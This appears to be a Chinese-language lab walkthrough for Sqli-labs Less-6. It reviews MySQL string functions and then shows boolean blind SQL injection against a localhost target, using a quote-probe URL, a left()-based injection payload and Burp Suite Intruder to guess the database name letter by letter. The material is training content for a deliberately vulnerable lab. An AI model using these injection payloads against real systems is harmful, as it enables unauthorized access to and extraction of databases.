前序

欢迎大家进入第六关,那我们直奔主题,因为第六关与第五关类似,都是bool盲注所以,本文不会用太大篇幅进行讲解,但是还是像以前强调的那样,执行相应的语句后,一定要学会对数据报错的分析,分析其报错的内容以及原因从而判断存在SQL注入…

复习

left函数

格式:

  1. left(database(),1)='s'

用法:left(a,b)从左侧截取a的前b位,正确返回1,错误返回0;
演示:首先用cmd指令进入数据库后,进入security数据库,也就是进入搭建靶场的数据库;
我们先展示一下该函数使用后会出现什么样的情况,使用sql语句:

  1. select left(database(),1)='s';

结果为:
Sqli-labs Less6教程 - 图1
继续使用sql语句来进行推断:

  1. select left(database(),2)='s';

结果为:
image.png
继续使用:

  1. select left(database(),2)='se';
  1. 结果为:<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2903465/1619335672393-1725b353-c7ac-4694-a40b-003cec2f5877.png#clientId=u5561a61b-0469-4&from=paste&height=154&id=u5da45819&margin=%5Bobject%20Object%5D&name=image.png&originHeight=154&originWidth=419&originalType=binary&size=7512&status=done&style=none&taskId=u127d9ba9-947f-4a3d-a830-5bcb09403d9&width=419)<br />**所以我们可以,确定该函数的用法就是:left(a,b)从左侧截取a的前b位,正确返回1,错误返回0;由于我们所用的是security数据库所以所有的判断都基于这个数据库来判断;**

regexp函数

格式:

  1. select user() regexp 'r'

用法:从左到右匹配当前的结果,匹配成功返回1,失败返回0;
演示:首先用cmd指令进入数据库后,查看user()返回的结果;
我们先查询user()的结果,使用的sql语句为:

  1. select user();
  1. 结果为:<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2903465/1619336331726-b6ee3cd7-dc15-4f28-b565-9631618c6b30.png#clientId=u5561a61b-0469-4&from=paste&height=152&id=ud5529aea&margin=%5Bobject%20Object%5D&name=image.png&originHeight=152&originWidth=319&originalType=binary&size=6308&status=done&style=none&taskId=u39bfd41e-51f4-492e-9907-a80e9cb0541&width=319)<br />接着使用,该函数进行演示,使用的语句为:
  1. select user() regexp 'r';
  1. 结果为:<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2903465/1619336476823-22136a61-f8bf-4886-b60b-2b541285c7e2.png#clientId=u5561a61b-0469-4&from=paste&height=152&id=ufeda6904&margin=%5Bobject%20Object%5D&name=image.png&originHeight=152&originWidth=391&originalType=binary&size=6807&status=done&style=none&taskId=u724e5b4a-1c67-498f-b127-b8002029217&width=391)<br /> 继续使用sql语句:
  1. select user() regexp 'root';
  1. 结果为:<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2903465/1619336596857-efac0ef5-96a3-432d-993c-9017029a8a50.png#clientId=u5561a61b-0469-4&from=paste&height=151&id=u11e54a48&margin=%5Bobject%20Object%5D&name=image.png&originHeight=151&originWidth=412&originalType=binary&size=7234&status=done&style=none&taskId=u743fd17c-00c1-4bbd-9db9-dcbd6bebeef&width=412)<br />继续使用sql语句:
  1. select user() regexp 'rot';
  1. 结果为:<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2903465/1619336706395-fbf1554f-35c9-423d-b3ae-120f8bdea383.png#clientId=u5561a61b-0469-4&from=paste&height=155&id=u9ba7ee5a&margin=%5Bobject%20Object%5D&name=image.png&originHeight=155&originWidth=421&originalType=binary&size=7259&status=done&style=none&taskId=uae8a8c8c-06e0-4a67-bad2-850e174a410&width=421)<br />**所以我们可以得出,该函数就是根据结果从左向右进行比对,比对成功则返回1,失败则返回0;**

like函数

格式:

  1. select user() like 'ro%'

用法:与regexp函数基本相同,唯一不同点就是在后面引入了%这个符号;
演示:首先用cmd指令进入数据库后,查看user()返回的结果;
我们先查询user()的结果,使用的sql语句为:

  1. select user();
  1. 结果为:<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2903465/1619336331726-b6ee3cd7-dc15-4f28-b565-9631618c6b30.png#clientId=u5561a61b-0469-4&from=paste&height=152&id=qzruW&margin=%5Bobject%20Object%5D&name=image.png&originHeight=152&originWidth=319&originalType=binary&size=6308&status=done&style=none&taskId=u39bfd41e-51f4-492e-9907-a80e9cb0541&width=319)<br />接着使用,该函数进行演示,使用的语句为:
  1. select user() like 'ro%';
  1. 结果为:<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2903465/1619337084257-25aaee9d-81e2-4efd-a6b9-542ac7d08edc.png#clientId=u5561a61b-0469-4&from=paste&height=151&id=u88632cb3&margin=%5Bobject%20Object%5D&name=image.png&originHeight=151&originWidth=405&originalType=binary&size=6978&status=done&style=none&taskId=uebb6aba7-2035-497d-85b7-8f0638721ef&width=405)<br />**由于,该函数与上面所提到的regexp函数的操作基本相同,用法也一样,所以过多的解释将不再进行,结论参考以上regexp函数的结论;**

substr(a,b,c)函数

格式:

  1. select substr(a,b,c) XXXX

用法:从位置b开始,截取a字符串c位的长度;
演示:首先用cmd指令进入数据库后,进入security数据库,也就是进入搭建靶场的数据库;
我们先展示一下该函数使用后会出现什么样的情况,使用sql语句:

  1. select left(database(),1)='s';

结果为:
Sqli-labs Less6教程 - 图3
继续使用sql语句来进行推断:

  1. select substr((select database()),1,1) ='s';
  1. 结果为:<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2903465/1619337806847-4410f4d8-e11f-4513-89d5-4fb3ba20c9bf.png#clientId=u5561a61b-0469-4&from=paste&height=149&id=udbf6554c&margin=%5Bobject%20Object%5D&name=image.png&originHeight=149&originWidth=585&originalType=binary&size=9164&status=done&style=none&taskId=u0c9c173d-4d7f-482a-8f91-0385ef26b92&width=585)<br />继续使用sql语句来进行推断:
  1. select substr((select database()),1,1) ='so';
  1. 结果为:<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2903465/1619337853036-61df032a-d256-4433-b2ab-5149e4962ee0.png#clientId=u5561a61b-0469-4&from=paste&height=156&id=uec9b42c5&margin=%5Bobject%20Object%5D&name=image.png&originHeight=156&originWidth=579&originalType=binary&size=9420&status=done&style=none&taskId=ube1bd38c-136f-4f58-8906-04410ce4d8d&width=579)<br />** 所以我们可以得出结论,第一个位置也就是从左往右数第一个,选取长度为1,那么security字符串第一个长度为1就是s;**

ascii()函数

格式:

  1. select ascii('xxxx')

用法:将字符串转化为ASCII的值;
使用sql语句:

  1. select ascii('a');

结果为:
image.png

正文

正式进入第六关!!!
image.png
还是像之前的操作一样,对数据进行分析判断,使用的URL为:

  1. http://127.0.0.1/sqli-labs/Less-6/?id=1
  1. 结果为:<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2903465/1619492673230-8a68e0bf-a943-4842-92dc-8ec10d7bde07.png#clientId=uf972b00e-e948-4&from=paste&height=515&id=u9353fcef&margin=%5Bobject%20Object%5D&name=image.png&originHeight=1030&originWidth=1920&originalType=binary&size=454220&status=done&style=none&taskId=uc687735d-1e48-4c8c-ab77-a5ea73b8efd&width=960)<br />继续使用URL为:
  1. http://127.0.0.1/sqli-labs/Less-6/?id=1000
  1. 结果为:<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2903465/1619492738108-d787272c-d99f-45b0-9ca4-b4ac0d38b50c.png#clientId=uf972b00e-e948-4&from=paste&height=515&id=ubc00add1&margin=%5Bobject%20Object%5D&name=image.png&originHeight=1030&originWidth=1920&originalType=binary&size=447433&status=done&style=none&taskId=u385d4789-6a18-40be-92c6-40436ed93f0&width=960)<br />所以我们可以判断,其类型与第五关相同,属于BOOL盲注!<br />我们接着使用URL为:
  1. http://127.0.0.1/sqli-labs/Less-6/?id=1'"
  1. 结果为:<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2903465/1619492830801-3bd857bf-e149-4946-9d45-f1f42ec4face.png#clientId=uf972b00e-e948-4&from=paste&height=515&id=ueafd5434&margin=%5Bobject%20Object%5D&name=image.png&originHeight=1030&originWidth=1920&originalType=binary&size=457530&status=done&style=none&taskId=uf1ab7238-a79f-4536-a32f-0149c21a4e8&width=960)<br />分析报错内容:
  1. '"1'"" LIMIT 0,1'
  1. 所以我们可以判断存在注入漏洞!类型为 '"x'"<br /> 由于与第五关类似,我这里省去了order by查询

我们这里选择使用BurpSuite进行抓包,爆破数据库…
使用URL为:

  1. http://127.0.0.1/sqli-labs/Less-6/?id=1'" and left((select database()),1) = 's' --+

进行抓包!并发送内容到Intruder
image.png
发送到Intruder,对其中数据进行清除值;
image.png
然后让s作为一个变量;
image.png
使用其自带的字母库,对数据库进行猜解;
image.png
打开线程,并设置;
image.png
开始进行爆破;

我们会发现,只有s时,它返回的长度与其他的不一样,所以我们可以判断出来,数据库第一个字母为s;
查看s的响应信息;
image.png
所以我们可以推断s为正确的数据库第一个名字;
以此类推,我们可以破解出数据库的具体名字;

由于操作相同,所以之后的不在进行赘述…